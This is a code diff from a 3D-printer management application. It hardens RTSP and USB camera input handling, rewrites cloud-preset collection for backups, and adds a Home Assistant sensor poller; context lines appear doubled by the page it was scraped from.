     # If the URL uses rtsps://, set up a TLS proxy so ffmpeg uses plain rtsp://
     # If the URL uses rtsps://, set up a TLS proxy so ffmpeg uses plain rtsp://
     proxy_server = None
     proxy_server = None
-    effective_url = url
-    if url.lower().startswith("rtsps://"):
+    effective_url = safe_url
+    if safe_url.lower().startswith("rtsps://"):
         try:
         try:
             from urllib.parse import urlparse
             from urllib.parse import urlparse
 
 
             from backend.app.services.camera import create_tls_proxy
             from backend.app.services.camera import create_tls_proxy
 
 
-            parsed = urlparse(url)
+            parsed = urlparse(safe_url)
             target_port = parsed.port or 322
             target_port = parsed.port or 322
             proxy_port, proxy_server = await create_tls_proxy(parsed.hostname, target_port)
             proxy_port, proxy_server = await create_tls_proxy(parsed.hostname, target_port)
             # Rewrite URL: rtsps://user:pass@host:port/path → rtsp://user:pass@127.0.0.1:proxy/path
             # Rewrite URL: rtsps://user:pass@host:port/path → rtsp://user:pass@127.0.0.1:proxy/path
@@ -983,12 +1087,14 @@ async def _stream_rtsp(
                 if parsed.password:
                 if parsed.password:
                     userinfo += f":{parsed.password}"
                     userinfo += f":{parsed.password}"
                 userinfo += "@"
                 userinfo += "@"
+            # Loopback by design, and built after the check above rather than
+            # re-checked — see the same rewrite in _capture_rtsp_frame.
             effective_url = f"rtsp://{userinfo}127.0.0.1:{proxy_port}{parsed.path}"
             effective_url = f"rtsp://{userinfo}127.0.0.1:{proxy_port}{parsed.path}"
             if parsed.query:
             if parsed.query:
                 effective_url += f"?{parsed.query}"
                 effective_url += f"?{parsed.query}"
         except Exception as e:
         except Exception as e:
             logger.warning("Failed to create TLS proxy for RTSP, falling back to direct: %s", e)
             logger.warning("Failed to create TLS proxy for RTSP, falling back to direct: %s", e)
-            effective_url = url
+            effective_url = safe_url
 
 
     cmd = [
     cmd = [
         ffmpeg,
         ffmpeg,
@@ -996,6 +1102,8 @@ async def _stream_rtsp(
         "tcp",
         "tcp",
         "-rtsp_flags",
         "-rtsp_flags",
         "prefer_tcp",
         "prefer_tcp",
+        "-protocol_whitelist",
+        _RTSP_PROTOCOL_WHITELIST,
         # Socket I/O timeout name varies by ffmpeg version (#1504); see
         # Socket I/O timeout name varies by ffmpeg version (#1504); see
         # `rtsp_socket_timeout_flag()` in services.camera.
         # `rtsp_socket_timeout_flag()` in services.camera.
         f"-{rtsp_socket_timeout_flag()}",
         f"-{rtsp_socket_timeout_flag()}",
@@ -1109,14 +1217,13 @@ async def _stream_usb(
         logger.error("ffmpeg not found - required for USB camera streaming")
         logger.error("ffmpeg not found - required for USB camera streaming")
         return
         return
 
 
-    # Validate device path
-    if not device.startswith("/dev/video"):
-        logger.error("Invalid USB device path: %s", device)
-        return
-
-    if not Path(device).exists():
-        logger.error("USB device does not exist: %s", device)
+    # Same validation as the one-shot path: a prefix check accepted
+    # /dev/video/../../<anything that exists>, which -f v4l2 would then refuse
+    # rather than the check refusing it.
+    safe_device = _safe_usb_device_path(device)
+    if not safe_device:
         return
         return
+    device = safe_device
 
 
     # ffmpeg command to stream from USB camera (v4l2)
     # ffmpeg command to stream from USB camera (v4l2)
     cmd = [
     cmd = [

+ 335 - 58
backend/app/services/github_backup.py

@@ -8,7 +8,7 @@ import logging
 from datetime import datetime, timedelta, timezone
 from datetime import datetime, timedelta, timezone
 
 
 import httpx
 import httpx
-from sqlalchemy import desc, select
+from sqlalchemy import desc, or_, select
 from sqlalchemy.ext.asyncio import AsyncSession
 from sqlalchemy.ext.asyncio import AsyncSession
 
 
 from backend.app.core.database import async_session
 from backend.app.core.database import async_session
@@ -18,11 +18,61 @@ from backend.app.models.printer import Printer
 from backend.app.models.settings import Settings
 from backend.app.models.settings import Settings
 from backend.app.models.spool import Spool
 from backend.app.models.spool import Spool
 from backend.app.models.spool_usage_history import SpoolUsageHistory
 from backend.app.models.spool_usage_history import SpoolUsageHistory
+from backend.app.models.user import User
 from backend.app.services.git_providers.factory import get_provider_backend
 from backend.app.services.git_providers.factory import get_provider_backend
 from backend.app.services.printer_manager import printer_manager
 from backend.app.services.printer_manager import printer_manager
 
 
 logger = logging.getLogger(__name__)
 logger = logging.getLogger(__name__)
 
 
+# Bambu's listing endpoint is keyed by preset type and calls process presets
+# "print". Same mapping as `routes/cloud.py` — kept in step with it, since a
+# divergence here silently drops a whole preset type from every backup.
+_BAMBU_PRESET_TYPES = {
+    "filament": "filament",
+    "printer": "printer",
+    "print": "process",
+}
+
+
+def _bambu_preset_record(setting_id, our_type: str, entry: dict, detail: dict) -> dict:
+    """One Bambu preset as stored in the backup: metadata plus the payload.
+
+    ``base_id`` and ``setting`` are the two fields ``BambuCloudService.
+    create_setting`` needs, so a restore can rebuild the preset rather than
+    just list it.
+
+    ``user_id`` from the listing is deliberately dropped. It identifies the
+    account and adds nothing to a rebuild, and backup repositories can be
+    public.
+    """
+    return {
+        "setting_id": str(setting_id),
+        "name": detail.get("name") or entry.get("name") or "Unknown",
+        "type": our_type,
+        "version": detail.get("version") or entry.get("version"),
+        "updated_time": entry.get("updated_time"),
+        "base_id": detail.get("base_id"),
+        "filament_id": detail.get("filament_id"),
+        "setting": detail.get("setting") or {},
+    }
+
+
+def _orca_profile_record(entry: dict) -> dict:
+    """One Orca profile as stored in the backup.
+
+    ``content`` is kept whole rather than picked apart: it is the profile, the
+    sync API hands it over inline, and Orca owns its shape. Narrowing it here
+    would mean guessing which keys a future restore needs.
+    """
+    return {
+        "id": str(entry.get("id")) if entry.get("id") is not None else None,
+        "name": entry.get("name"),
+        "updated_time": entry.get("updated_time"),
+        "created_time": entry.get("created_time"),
+        "content": entry.get("content"),
+    }
+
+
 # Schedule intervals in seconds
 # Schedule intervals in seconds
 SCHEDULE_INTERVALS = {
 SCHEDULE_INTERVALS = {
     "hourly": 3600,
     "hourly": 3600,
@@ -279,11 +329,13 @@ class GitHubBackupService:
         {
         {
             "backup_metadata.json": {...},
             "backup_metadata.json": {...},
             "kprofiles/{serial}/{nozzle}.json": {...},
             "kprofiles/{serial}/{nozzle}.json": {...},
-            "cloud_profiles/filament.json": [...],
-            "cloud_profiles/printer.json": [...],
-            "cloud_profiles/process.json": [...],
+            "cloud_profiles/bambu/{account}/{filament,printer,process}.json": {...},
+            "cloud_profiles/orca/{account}/{filament,printer,process}.json": {...},
             "settings/app_settings.json": {...},
             "settings/app_settings.json": {...},
         }
         }
+
+        ``{account}`` is ``global`` when auth is disabled, otherwise
+        ``user-{id}`` — one directory per connected cloud account (#2717).
         """
         """
         files: dict[str, dict | list] = {}
         files: dict[str, dict | list] = {}
 
 
@@ -306,10 +358,20 @@ class GitHubBackupService:
             self._backup_progress = "Collecting K-profiles from printers..."
             self._backup_progress = "Collecting K-profiles from printers..."
             await self._collect_kprofiles(db, files)
             await self._collect_kprofiles(db, files)
 
 
-        # Collect cloud profiles
+        # Collect cloud profiles. `contents.cloud_profiles` is corrected below
+        # from what was configured to what was actually written — it claimed
+        # `true` on every backup, including the ones that collected nothing
+        # (#2717), which is exactly the signal a restore needs to be able to
+        # trust.
         if config.backup_cloud_profiles:
         if config.backup_cloud_profiles:
-            self._backup_progress = "Collecting cloud profiles from Bambu Cloud..."
-            await self._collect_cloud_profiles(db, files)
+            self._backup_progress = "Collecting cloud profiles from Bambu Cloud and Orca Cloud..."
+            cloud_summary = await self._collect_cloud_profiles(db, files)
+            collected = bool(cloud_summary.get("bambu") or cloud_summary.get("orca"))
+            metadata["contents"]["cloud_profiles"] = collected
+            if collected:
+                # Per-cloud, per-account counts, so a restore can tell an empty
+                # account from one that failed to collect.
+                metadata["cloud_profiles"] = cloud_summary
 
 
         # Collect app settings
         # Collect app settings
         if config.backup_settings:
         if config.backup_settings:
@@ -374,68 +436,283 @@ class GitHubBackupService:
             if printer_profiles:
             if printer_profiles:
                 logger.info("Collected K-profiles for %s: %s", serial, printer_profiles)
                 logger.info("Collected K-profiles for %s: %s", serial, printer_profiles)
 
 
-    async def _collect_cloud_profiles(self, db: AsyncSession, files: dict):
-        """Collect Bambu Cloud profiles if authenticated."""
-        # Backup runs without a user context, so fall back to the auth-disabled
-        # Settings storage. ``build_authenticated_cloud`` honours the stored
-        # region so China-region tokens are validated against api.bambulab.cn.
+    async def _collect_cloud_profiles(self, db: AsyncSession, files: dict) -> dict:
+        """Collect slicer presets from every connected cloud account.
+
+        Two clouds, and on an auth-enabled install any number of accounts in
+        each: Bambu Cloud tokens live on ``User.cloud_token`` and Orca Cloud
+        tokens on ``User.orca_cloud_token``, falling back to the global
+        ``Settings`` table only when auth is disabled. The previous version
+        asked for the auth-disabled store unconditionally, so it collected
+        nothing at all on any install with auth on (#2717).
+
+        Layout is one directory per cloud per account, both clouds grouped the
+        same way so a restore reads them identically::
+
+            cloud_profiles/bambu/user-3/{filament,printer,process}.json
+            cloud_profiles/orca/user-3/{filament,printer,process}.json
+
+        Accounts are keyed by Bambuddy user id (``global`` when auth is off),
+        never by email — a backup repository can be public.
+
+        Returns a per-cloud summary for ``backup_metadata.json`` so the
+        metadata records what was actually collected rather than what was
+        merely enabled.
+        """
+        summary: dict = {"bambu": {}, "orca": {}}
+
+        bambu_accounts, orca_accounts = await self.cloud_accounts(db)
+        if not bambu_accounts and not orca_accounts:
+            # Enabled but nothing to collect. Deliberately a warning: the INFO
+            # line this replaces read as a successful collection of nothing,
+            # which is how #2717 went unnoticed through every backup.
+            logger.warning(
+                "Cloud profiles are enabled for backup, but no Bambu Cloud or Orca Cloud "
+                "account is connected — nothing to collect."
+            )
+            return summary
+
+        for account_key, user in bambu_accounts:
+            try:
+                counts = await self._collect_bambu_profiles(db, files, account_key, user)
+            except Exception:
+                logger.warning("Failed to collect Bambu Cloud profiles for %s", account_key, exc_info=True)
+                continue
+            if counts:
+                summary["bambu"][account_key] = counts
+
+        for account_key, user in orca_accounts:
+            try:
+                counts = await self._collect_orca_profiles(db, files, account_key, user)
+            except Exception:
+                logger.warning("Failed to collect Orca Cloud profiles for %s", account_key, exc_info=True)
+                continue
+            if counts:
+                summary["orca"][account_key] = counts
+
+        if not summary["bambu"] and not summary["orca"]:
+            logger.warning(
+                "Cloud profiles are enabled and %d Bambu / %d Orca account(s) are connected, "
+                "but no presets were collected — see the per-account warnings above.",
+                len(bambu_accounts),
+                len(orca_accounts),
+            )
+        else:
+            logger.info("Collected cloud profiles: %s", summary)
+        return summary
+
+    async def cloud_accounts(self, db: AsyncSession) -> tuple[list, list]:
+        """Enumerate connected accounts as ``(account_key, user_or_None)`` per cloud.
+
+        With auth enabled every user holds their own credentials, so a backup
+        that only looked at the global store saw none of them. With auth
+        disabled there is a single global row and no ``User`` at all, which is
+        what ``user=None`` means to both clouds' credential loaders.
+
+        Both stores are read regardless: a ``Settings`` row survives enabling
+        auth later, and dropping it silently would lose that account's presets.
+        """
+        from backend.app.api.routes.cloud import get_stored_token
+        from backend.app.api.routes.orca_cloud import _load_credentials
+
+        bambu: list = []
+        orca: list = []
+
+        global_token, _email, _region = await get_stored_token(db, None)
+        if global_token:
+            bambu.append(("global", None))
+        global_orca = await _load_credentials(db, None)
+        if global_orca.token:
+            orca.append(("global", None))
+
+        result = await db.execute(
+            select(User).where(or_(User.cloud_token.isnot(None), User.orca_cloud_token.isnot(None)))
+        )
+        for user in result.scalars().all():
+            if user.cloud_token:
+                bambu.append((f"user-{user.id}", user))
+            if user.orca_cloud_token:
+                orca.append((f"user-{user.id}", user))
+
+        return bambu, orca
+
+    async def _collect_bambu_profiles(self, db: AsyncSession, files: dict, account_key: str, user) -> dict:
+        """Collect one Bambu Cloud account's custom presets, with their payloads.
+
+        The listing endpoint is keyed by preset type, each holding ``private``
+        and ``public`` lists — there is no flat ``setting`` array, and the
+        entries carry no ``type`` of their own, which is why the type comes
+        from the outer key here exactly as it does in ``routes/cloud.py``.
+        Bambu calls process presets ``print``.
+
+        ``public`` is skipped: those are Bambu's own bundled catalogue, the
+        same hundreds of entries for every user, re-downloadable at any time
+        and not recreatable under your account anyway. Backing them up would
+        churn the repository on every run for nothing.
+
+        Each private preset then costs one ``get_setting_detail`` call, because
+        the listing carries only metadata. Without ``base_id`` and ``setting``
+        the backup is a list of names, not something a restore can rebuild
+        from. Bounded by the number of *custom* presets, and the backup already
+        makes a round-trip per printer for K-profiles.
+        """
         from backend.app.api.routes.cloud import build_authenticated_cloud
         from backend.app.api.routes.cloud import build_authenticated_cloud
 
 
-        cloud = await build_authenticated_cloud(db, user=None)
+        cloud = await build_authenticated_cloud(db, user=user)
         if cloud is None or not cloud.is_authenticated:
         if cloud is None or not cloud.is_authenticated:
-            if cloud is not None:
-                await cloud.close()
-            logger.info("Cloud not authenticated, skipping cloud profiles")
-            return
+            logger.info("Bambu Cloud not authenticated for %s, skipping", account_key)
+            return {}
 
 
+        counts: dict = {}
         try:
         try:
             settings = await cloud.get_slicer_settings()
             settings = await cloud.get_slicer_settings()
-            if not settings:
-                return
-
-            # Separate by type
-            filament_settings = []
-            printer_settings = []
-            process_settings = []
-
-            for setting in settings.get("setting", []) if isinstance(settings.get("setting"), list) else []:
-                setting_type = setting.get("type", "")
-                if setting_type == "filament":
-                    filament_settings.append(setting)
-                elif setting_type == "printer":
-                    printer_settings.append(setting)
-                elif setting_type == "process":
-                    process_settings.append(setting)
-
-            if filament_settings:
-                files["cloud_profiles/filament.json"] = {
-                    "version": "1.0",
-                    "profiles": filament_settings,
-                }
+            if not isinstance(settings, dict) or not settings:
+                logger.warning("Bambu Cloud returned no slicer settings for %s", account_key)
+                return {}
+
+            failed = 0
+            for api_key, our_type in _BAMBU_PRESET_TYPES.items():
+                type_data = settings.get(api_key)
+                if not isinstance(type_data, dict):
+                    continue
+                private = type_data.get("private")
+                if not isinstance(private, list) or not private:
+                    continue
+
+                profiles = []
+                for entry in private:
+                    setting_id = entry.get("setting_id") or entry.get("id")
+                    if not setting_id:
+                        continue
+                    try:
+                        detail = await cloud.get_setting_detail(str(setting_id))
+                    except Exception as e:
+                        # One unreadable preset must not cost the rest of the
+                        # account, but it must not vanish quietly either.
+                        failed += 1
+                        logger.warning(
+                            "Failed to fetch Bambu Cloud preset %s (%s) for %s: %s",
+                            setting_id,
+                            entry.get("name", "unnamed"),
+                            account_key,
+                            e,
+                        )
+                        continue
+                    profiles.append(_bambu_preset_record(setting_id, our_type, entry, detail))
+
+                if profiles:
+                    files[f"cloud_profiles/bambu/{account_key}/{our_type}.json"] = {
+                        "version": "2.0",
+                        "cloud": "bambu",
+                        "type": our_type,
+                        "profiles": profiles,
+                    }
+                    counts[our_type] = len(profiles)
 
 
-            if printer_settings:
-                files["cloud_profiles/printer.json"] = {
-                    "version": "1.0",
-                    "profiles": printer_settings,
-                }
+            if failed:
+                counts["failed"] = failed
+            return counts
+        finally:
+            await cloud.close()
 
 
-            if process_settings:
-                files["cloud_profiles/process.json"] = {
-                    "version": "1.0",
-                    "profiles": process_settings,
-                }
+    async def _collect_orca_profiles(self, db: AsyncSession, files: dict, account_key: str, user) -> dict:
+        """Collect one Orca Cloud account's profiles, grouped the same three ways.
+
+        Cheaper than Bambu: the sync-pull listing already carries each
+        profile's full ``content``, so there is no per-profile fetch.
+
+        The type lives at ``content.type`` and is mapped through the same
+        ``_ORCA_TYPE_TO_BAMBU`` table the Orca tab uses, so the backup groups
+        exactly as the UI does. Where that route *drops* a profile whose type
+        it can't map, this writes it to ``other.json`` instead — a backup that
+        silently omits a profile because Orca added a type is the same class of
+        bug as #2717 itself.
+
+        Uses the route layer's ``_build_authenticated_service`` rather than
+        re-implementing the refresh: the Orca refresh token is single-use and
+        rotating, and that helper already persists the new pair atomically
+        before returning.
+
+        Passes ``clear_on_auth_failure=False``, so a rejected refresh skips the
+        account instead of disconnecting it. A backup is an observer; it should
+        not change anyone's sign-in state on a schedule, least of all on a
+        rejection reason Orca does not disambiguate. The next time the user
+        opens the Orca Profiles page that route clears the dead pairing anyway,
+        with the user present to pair again.
+        """
+        from fastapi import HTTPException
 
 
-            logger.info(
-                "Collected cloud profiles: %d filament, %d printer, %d process",
-                len(filament_settings),
-                len(printer_settings),
-                len(process_settings),
-            )
+        from backend.app.api.routes.orca_cloud import (
+            _ORCA_TYPE_TO_BAMBU,
+            _build_authenticated_service,
+        )
+
+        try:
+            svc = await _build_authenticated_service(db, user, clear_on_auth_failure=False)
+        except HTTPException as e:
+            # Either way the stored credentials are untouched and this account
+            # is skipped, not disconnected — but the two need different advice.
+            # A rejected refresh will not fix itself and needs the user to pair
+            # again; an unreachable Orca is very likely gone by the next run.
+            if e.status_code == 401:
+                logger.warning(
+                    "Orca Cloud rejected the stored session for %s, so its profiles are not in this "
+                    "backup. Later runs will skip it too until the account is paired again under "
+                    "Profiles > Orca Cloud Profiles — which is also where the dead credentials get "
+                    "cleared. Cause: %s",
+                    account_key,
+                    e.detail,
+                )
+            else:
+                logger.warning(
+                    "Orca Cloud unreachable for %s, skipping its profiles this run: %s",
+                    account_key,
+                    e.detail,
+                )
+            return {}
+        except Exception as e:
+            logger.warning("Orca Cloud not usable for %s: %s", account_key, e, exc_info=True)
+            return {}
 
 
-        except Exception:
-            logger.warning("Failed to collect cloud profiles", exc_info=True)
+        counts: dict = {}
+        try:
+            raw_profiles = await svc.list_profiles()
+            grouped: dict[str, list] = {}
+            unknown_types: dict[str, int] = {}
+
+            for entry in raw_profiles:
+                if not isinstance(entry, dict):
+                    continue
+                content = entry.get("content")
+                raw_type = content.get("type") if isinstance(content, dict) else None
+                our_type = _ORCA_TYPE_TO_BAMBU.get(str(raw_type)) if raw_type is not None else None
+                if our_type is None:
+                    unknown_types[str(raw_type) if raw_type is not None else "<missing>"] = (
+                        unknown_types.get(str(raw_type) if raw_type is not None else "<missing>", 0) + 1
+                    )
+                    our_type = "other"
+                grouped.setdefault(our_type, []).append(_orca_profile_record(entry))
+
+            for our_type, profiles in grouped.items():
+                files[f"cloud_profiles/orca/{account_key}/{our_type}.json"] = {
+                    "version": "2.0",
+                    "cloud": "orca",
+                    "type": our_type,
+                    "profiles": profiles,
+                }
+                counts[our_type] = len(profiles)
+
+            if unknown_types:
+                logger.warning(
+                    "Orca Cloud sent %d profile(s) for %s with unmapped content.type values %s — "
+                    "backed up to other.json rather than dropped.",
+                    sum(unknown_types.values()),
+                    account_key,
+                    unknown_types,
+                )
+            return counts
         finally:
         finally:
-            await cloud.close()
+            await svc.close()
 
 
     async def _collect_settings(self, db: AsyncSession, files: dict):
     async def _collect_settings(self, db: AsyncSession, files: dict):
         """Collect app settings."""
         """Collect app settings."""

+ 271 - 0
backend/app/services/ha_sensor_manager.py

@@ -0,0 +1,271 @@
+"""Polls the Home Assistant entities bound to printers (#1148, #448).
+
+One background loop reads every configured entity on a fixed cadence and keeps
+the result in memory. Three things consume it:
+
+* the printer card, which reads the cache instead of hitting Home Assistant
+  once per card per refresh;
+* notifications, fired on a transition *into* the alert state, never on every
+  poll while it persists;
+* the print interlock, which holds queued jobs for a printer while one of its
+  sensors is alerting.
+
+Everything degrades to "no opinion" when Home Assistant cannot be reached: an
+unreadable sensor never alerts, never notifies, and never holds a print. A
+door contact that stops responding must not strand the queue.
+"""
+
+import asyncio
+import logging
+from dataclasses import dataclass
+
+from sqlalchemy import select
+from sqlalchemy.ext.asyncio import AsyncSession
+
+from backend.app.models.printer import Printer
+from backend.app.models.printer_ha_sensor import PrinterHASensor
+from backend.app.services.homeassistant import as_float, homeassistant_service
+from backend.app.utils.local_time import utcnow_naive
+
+logger = logging.getLogger(__name__)
+
+# Fast enough that an enclosure door reads as live, slow enough that a handful
+# of tiny LAN requests stays background noise.
+POLL_INTERVAL = 15
+
+
+@dataclass
+class SensorReading:
+    """The last thing we managed to read for one sensor."""
+
+    state: str | None  # raw HA state, None when unreadable
+    value: float | None  # parsed number for numeric sensors
+    alerting: bool
+    reachable: bool
+
+
+class HASensorManager:
+    def __init__(self):
+        self._task: asyncio.Task | None = None
+        # sensor id -> last reading. Sensors absent from this map have not been
+        # polled yet; callers must not read that as "not alerting" without also
+        # checking, which is why get_reading returns None rather than a default.
+        self._readings: dict[int, SensorReading] = {}
+        # sensor id -> alerting, from the last reading we could actually take.
+        # Kept apart from _readings because a dropout must not read as the
+        # alert clearing: on -> unavailable -> on is one continuous alert, and
+        # notifying off _readings alone would ping the user on every reconnect
+        # of a flaky contact. Absent means "never had a reachable reading".
+        self._last_alerting: dict[int, bool] = {}
+
+    # -- lifecycle ---------------------------------------------------------
+
+    def start(self):
+        if self._task is None:
+            self._task = asyncio.create_task(self._poll_loop())
+            logger.info("Home Assistant sensor poller started")
+
+    def stop(self):
+        if self._task:
+            self._task.cancel()
+            self._task = None
+            logger.info("Home Assistant sensor poller stopped")
+
+    # -- cache access ------------------------------------------------------
+
+    def get_reading(self, sensor_id: int) -> SensorReading | None:
+        return self._readings.get(sensor_id)
+
+    def forget(self, sensor_id: int):
+        """Drop a deleted sensor's cached reading so its id cannot be reused
+        by a later row and answer with the old sensor's state."""
+        self._readings.pop(sensor_id, None)
+        self._last_alerting.pop(sensor_id, None)
+
+    async def blocked_printers(self, db: AsyncSession) -> dict[int, str]:
+        """Printers currently held by an interlock, mapped to the sensor names.
+
+        A sensor counts only when it is configured to block, *and* was read
+        successfully, *and* is in its alert state. Anything we could not read
+        is omitted, so the queue keeps moving when Home Assistant is down.
+
+        One query for the whole fleet — the scheduler calls this on every pass,
+        and per-printer lookups would put a query per printer in that loop.
+        """
+        result = await db.execute(select(PrinterHASensor).where(PrinterHASensor.block_print.is_(True)))
+        blocked: dict[int, list[str]] = {}
+        for sensor in result.scalars().all():
+            reading = self._readings.get(sensor.id)
+            if reading and reading.reachable and reading.alerting:
+                blocked.setdefault(sensor.printer_id, []).append(sensor.name)
+        return {printer_id: ", ".join(names) for printer_id, names in blocked.items()}
+
+    # -- polling -----------------------------------------------------------
+
+    async def _poll_loop(self):
+        while True:
+            try:
+                await asyncio.sleep(POLL_INTERVAL)
+                await self.poll_once()
+            except asyncio.CancelledError:
+                break
+            except Exception as e:
+                logger.warning("Home Assistant sensor poll failed: %s", e)
+
+    async def poll_once(self):
+        """One pass over every configured sensor."""
+        from backend.app.core.database import async_session
+
+        async with async_session() as db:
+            result = await db.execute(select(PrinterHASensor))
+            sensors = list(result.scalars().all())
+
+            # Drop readings for rows that no longer exist. The delete route
+            # calls forget(), but a printer deleted with sensors attached takes
+            # them out by cascade, and a restored backup can renumber them —
+            # either way a stale id must not answer for a later sensor.
+            live = {s.id for s in sensors}
+            for stale in set(self._readings) - live:
+                self.forget(stale)
+
+            if not sensors:
+                return
+
+            if not await self._configure(db):
+                # Not configured is not a failure to report every 15 seconds,
+                # but the readings must not go stale-but-confident either.
+                for sensor in sensors:
+                    self._readings[sensor.id] = SensorReading(None, None, False, False)
+                return
+
+            states = await homeassistant_service.fetch_states(sorted({s.entity_id for s in sensors}))
+            await self._apply(db, sensors, states)
+
+    async def refresh_one(self, db: AsyncSession, sensor: PrinterHASensor):
+        """Read a single sensor now, on the caller's session.
+
+        Used after a create or an edit so the card shows a state straight away
+        instead of blank until the next tick. Deliberately not a full
+        ``poll_once``: a request handler must not wait on every configured
+        entity, and must not fire another user's notification as a side effect
+        of this one saving a form.
+        """
+        self.forget(sensor.id)
+        if not await self._configure(db):
+            self._readings[sensor.id] = SensorReading(None, None, False, False)
+            return
+
+        states = await homeassistant_service.fetch_states([sensor.entity_id])
+        reading = evaluate(sensor, states.get(sensor.entity_id))
+        self._readings[sensor.id] = reading
+        if reading.reachable:
+            self._last_alerting[sensor.id] = reading.alerting
+
+        sensor.last_checked = utcnow_naive()
+        if reading.reachable and sensor.last_state != reading.state:
+            sensor.last_state = reading.state
+            sensor.last_changed = sensor.last_checked
+        await db.commit()
+        await db.refresh(sensor)
+
+    async def _configure(self, db: AsyncSession) -> bool:
+        from backend.app.api.routes.settings import get_homeassistant_settings
+
+        try:
+            ha_settings = await get_homeassistant_settings(db)
+        except Exception as e:
+            logger.warning("Failed to read Home Assistant settings: %s", e)
+            return False
+        if not ha_settings["ha_url"] or not ha_settings["ha_token"]:
+            return False
+        homeassistant_service.configure(ha_settings["ha_url"], ha_settings["ha_token"])
+        return True
+
+    async def _apply(self, db: AsyncSession, sensors: list[PrinterHASensor], states: dict[str, dict | None]):
+        """Fold poll results into the cache, the DB and any notifications."""
+        from backend.app.services.notification_service import notification_service
+
+        now = utcnow_naive()
+        alerts: list[tuple[PrinterHASensor, SensorReading]] = []
+
+        for sensor in sensors:
+            payload = states.get(sensor.entity_id)
+            reading = evaluate(sensor, payload)
+            was_alerting = self._last_alerting.get(sensor.id)
+            self._readings[sensor.id] = reading
+
+            sensor.last_checked = now
+            if reading.reachable:
+                if sensor.last_state != reading.state:
+                    sensor.last_state = reading.state
+                    sensor.last_changed = now
+
+            # Notify on the edge into alerting only. `was_alerting is None` is
+            # a cold cache (first poll after a restart) — a door that was
+            # already open then has not just been opened, and re-announcing it
+            # on every restart would train users to ignore the alert.
+            if sensor.notify_on_alert and reading.reachable and reading.alerting and was_alerting is False:
+                alerts.append((sensor, reading))
+
+            if reading.reachable:
+                self._last_alerting[sensor.id] = reading.alerting
+
+        await db.commit()
+
+        for sensor, reading in alerts:
+            # db.get, not sensor.printer: touching the lazy relationship from
+            # an async session raises MissingGreenlet.
+            printer = await db.get(Printer, sensor.printer_id)
+            try:
+                await notification_service.on_ha_sensor_alert(
+                    printer_id=sensor.printer_id,
+                    printer_name=printer.name if printer else "Unknown",
+                    sensor_name=sensor.name,
+                    state=describe_state(sensor, reading),
+                    db=db,
+                )
+            except Exception as e:
+                logger.warning("Failed to send HA sensor alert for '%s': %s", sensor.name, e)
+
+
+def evaluate(sensor: PrinterHASensor, payload: dict | None) -> SensorReading:
+    """Turn one HA state payload into a reading.
+
+    Split out from the manager so the alert rules can be tested without a
+    poller, a database or a Home Assistant.
+    """
+    if payload is None:
+        return SensorReading(state=None, value=None, alerting=False, reachable=False)
+
+    state = payload.get("state")
+    # HA reports these two for entities whose integration is down. Treating
+    # them as a state would make "unavailable" a value the card renders and
+    # the thresholds compare against.
+    if state in (None, "unknown", "unavailable"):
+        return SensorReading(state=None, value=None, alerting=False, reachable=False)
+
+    state = str(state)
+    if sensor.kind == "numeric":
+        value = as_float(state)
+        if value is None:
+            # A sensor that used to report numbers and now reports text is
+            # not a reading we can place against a threshold.
+            return SensorReading(state=state, value=None, alerting=False, reachable=True)
+        alerting = (sensor.alert_above is not None and value > sensor.alert_above) or (
+            sensor.alert_below is not None and value < sensor.alert_below
+        )
+        return SensorReading(state=state, value=value, alerting=alerting, reachable=True)
+
+    normalized = state.lower()
+    alerting = sensor.alert_state is not None and normalized == sensor.alert_state
+    return SensorReading(state=normalized, value=None, alerting=alerting, reachable=True)
+
+
+def describe_state(sensor: PrinterHASensor, reading: SensorReading) -> str:
+    """Human-readable state for a notification body ("open", "31.4 °C")."""
+    if sensor.kind == "numeric" and reading.value is not None:
+        return f"{reading.value:g} {sensor.unit}".strip() if sensor.unit else f"{reading.value:g}"
+    return reading.state or "unknown"
+
+
+ha_sensor_manager = HASensorManager()

+ 102 - 0
backend/app/services/homeassistant.py

@@ -1,5 +1,6 @@
 """Service for communicating with Home Assistant via REST API."""
 """Service for communicating with Home Assistant via REST API."""
 
 
+import asyncio
 import logging
 import logging
 from typing import TYPE_CHECKING
 from typing import TYPE_CHECKING
 from urllib.parse import urlparse
 from urllib.parse import urlparse
@@ -364,6 +365,107 @@ class HomeAssistantService:
             logger.warning("Failed to list HA sensor entities: %s", e)
             logger.warning("Failed to list HA sensor entities: %s", e)
             return []
             return []
 
 
+    async def list_display_entities(self, url: str, token: str, search: str | None = None) -> list[dict]:
+        """List entities that can be bound to a printer for display (#1148, #448).
+
+        Covers every ``binary_sensor.*`` plus the ``sensor.*`` entities that
+        carry a reading. Distinct from ``list_sensor_entities``, which exists
+        for a plug's energy monitoring and therefore only admits power/energy
+        units — an enclosure thermometer is exactly what that one filters out.
+
+        A ``sensor.*`` qualifies when it has a unit or its state parses as a
+        number. That drops the text sensors (``sensor.washing_machine_status``)
+        that the card has no way to render as a value.
+        """
+        try:
+            async with httpx.AsyncClient(timeout=self.timeout) as client:
+                response = await client.get(
+                    f"{url.rstrip('/')}/api/states",
+                    headers={"Authorization": f"Bearer {token}"},
+                )
+                response.raise_for_status()
+
+                entities = []
+                search_lower = search.lower().strip() if search else None
+
+                for entity in response.json():
+                    entity_id = entity.get("entity_id", "")
+                    domain = entity_id.split(".")[0] if "." in entity_id else ""
+                    if domain not in ("binary_sensor", "sensor"):
+                        continue
+
+                    attrs = entity.get("attributes", {})
+                    unit = attrs.get("unit_of_measurement")
+                    state = entity.get("state")
+
+                    if domain == "sensor" and not unit and as_float(state) is None:
+                        continue
+
+                    friendly_name = attrs.get("friendly_name") or entity_id
+                    if search_lower and (
+                        search_lower not in entity_id.lower() and search_lower not in friendly_name.lower()
+                    ):
+                        continue
+
+                    entities.append(
+                        {
+                            "entity_id": entity_id,
+                            "friendly_name": friendly_name,
+                            "state": state,
+                            "domain": domain,
+                            "device_class": attrs.get("device_class"),
+                            "unit_of_measurement": unit,
+                        }
+                    )
+
+                return sorted(entities, key=lambda x: x["friendly_name"].lower())
+        except Exception as e:
+            logger.warning("Failed to list HA display entities: %s", e)
+            return []
+
+    async def fetch_states(self, entity_ids: list[str]) -> dict[str, dict | None]:
+        """Read several entities in one pass, keyed by entity_id.
+
+        One GET per entity over a shared client rather than a single
+        ``/api/states`` sweep: the poller only ever wants a handful of bound
+        entities, and pulling every state in the user's Home Assistant on a
+        15-second cadence is a lot of payload to throw away.
+
+        A ``None`` value means that entity could not be read — the callers
+        treat that as "no opinion" rather than as a state, so an unreachable
+        Home Assistant never trips an alert or holds a print.
+        """
+        if not entity_ids:
+            return {}
+        if not self.base_url or not self.token:
+            return dict.fromkeys(entity_ids)
+
